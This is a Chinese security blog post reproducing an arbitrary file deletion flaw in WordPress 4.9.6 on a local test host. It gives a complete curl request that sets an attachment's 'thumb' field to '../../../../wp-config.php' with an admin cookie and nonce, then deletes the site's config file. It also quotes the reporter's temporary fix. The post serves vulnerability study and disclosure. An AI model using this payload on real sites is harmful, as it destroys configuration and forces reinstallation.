统计
  • 建站日期:2021-03-10
  • 文章总数:114 篇
  • 评论总数:0 条
  • 分类总数:12 个
  • 最后更新:4月29日
文章 渗透测试

最新版wordpress任意文件删除漏洞复现

自由子
首页 渗透测试 正文
x01 前言

在推特上看到了一篇paper,

wp很久没看到洞了,这个漏洞七个月之前就上报了


最新版wordpress任意文件删除漏洞复现
-纵横安全网-渗透测试-软件开发-前端开发-PHP全栈
-第1
张图片

可以直接利用删除图片那个功能删除网站配置文件,导致网站只能重装。

0X01 复现过程

这是我下载的最新版wordpress(4.9.6)


最新版wordpress任意文件删除漏洞复现
-纵横安全网-渗透测试-软件开发-前端开发-PHP全栈
-第2
张图片

登陆后台:



最新版wordpress任意文件删除漏洞复现
-纵横安全网-渗透测试-软件开发-前端开发-PHP全栈
-第3
张图片

上传张图片:


最新版wordpress任意文件删除漏洞复现
-纵横安全网-渗透测试-软件开发-前端开发-PHP全栈
-第4
张图片

最新版wordpress任意文件删除漏洞复现
-纵横安全网-渗透测试-软件开发-前端开发-PHP全栈
-第5
张图片

然后edit

发挥一下Curl的作用。
执行:

curl -v 'http://192.168.19.129/wordpress/wp-admin/post.php?post=7' -H 'Cookie: wordpress_5bd7a9c61cda6e66fc921a05bc80ee93=wing%7C1531306971%7CZycd9e4B1COvm6oKBWF2SlMfqWu2u0xTG85eAD4giBx%7C099559ea1580b258b82765641ac85a51576507c8c3ebb8e131b20c9eec8f65bc; wordpress_test_cookie=WP+Cookie+check; wordpress_logged_in_5bd7a9c61cda6e66fc921a05bc80ee93=wing%7C1531306971%7CZycd9e4B1COvm6oKBWF2SlMfqWu2u0xTG85eAD4giBx%7Cba9defabde03b6acdb4a5c43fc39244efbec15913483ae43ff0b624be552f5a4; wp-settings-time-1=1530097413' -d 'action=editattachment&_wpnonce=28380b3d4a&thumb=../../../../wp-config.php'

这里把里面的cookie和_wpnonce还有post的值换成你的。

_wpnonce在页面中:


最新版wordpress任意文件删除漏洞复现
-纵横安全网-渗透测试-软件开发-前端开发-PHP全栈
-第6
张图片



最新版wordpress任意文件删除漏洞复现
-纵横安全网-渗透测试-软件开发-前端开发-PHP全栈
-第7
张图片

302跳转说明编辑成功。


最新版wordpress任意文件删除漏洞复现
-纵横安全网-渗透测试-软件开发-前端开发-PHP全栈
-第8
张图片

最新版wordpress任意文件删除漏洞复现
-纵横安全网-渗透测试-软件开发-前端开发-PHP全栈
-第9
张图片

现在点击Delete Permanently即可。


最新版wordpress任意文件删除漏洞复现
-纵横安全网-渗透测试-软件开发-前端开发-PHP全栈
-第10
张图片



最新版wordpress任意文件删除漏洞复现
-纵横安全网-渗透测试-软件开发-前端开发-PHP全栈
-第11
张图片

配置文件成功删除。

漏洞原理作者博客上有细节,本意是删除缩略图。但是没有对路径做限制,导致可以任意文件删除。

作者给的修复代码

add_filter( 'wp_update_attachment_metadata', 'rips_unlink_tempfix' ); function rips_unlink_tempfix( $data ) {
    if( isset($data['thumb']) ) {
        $data['thumb'] = basename($data['thumb']);
    }

    return $data;
}

0x02 Sakura

鸡肋之处在于需要管理员权限,但是危害蛮大的。


see you!

TCV=0


扫描二维码,在手机上阅读

版权说明
文章采用: 《署名-非商业性使用-相同方式共享 4.0 国际 (CC BY-NC-SA 4.0)》许可协议授权。
版权声明:未标注转载均为本站原创,转载时请以链接形式注明文章出处。如有侵权、不妥之处,请联系站长删除。敬请谅解!

-- 展开阅读全文 --
C4D 2023安装包-C4D 2023.2.2 Win 中文/英文版
« 上一篇
一次方维o2o商城PHP审计学习
下一篇 »
为了防止灌水评论,登录后即可评论!

HI ! 请登录
注册会员,享受下载全站资源特权。

最新评论

标签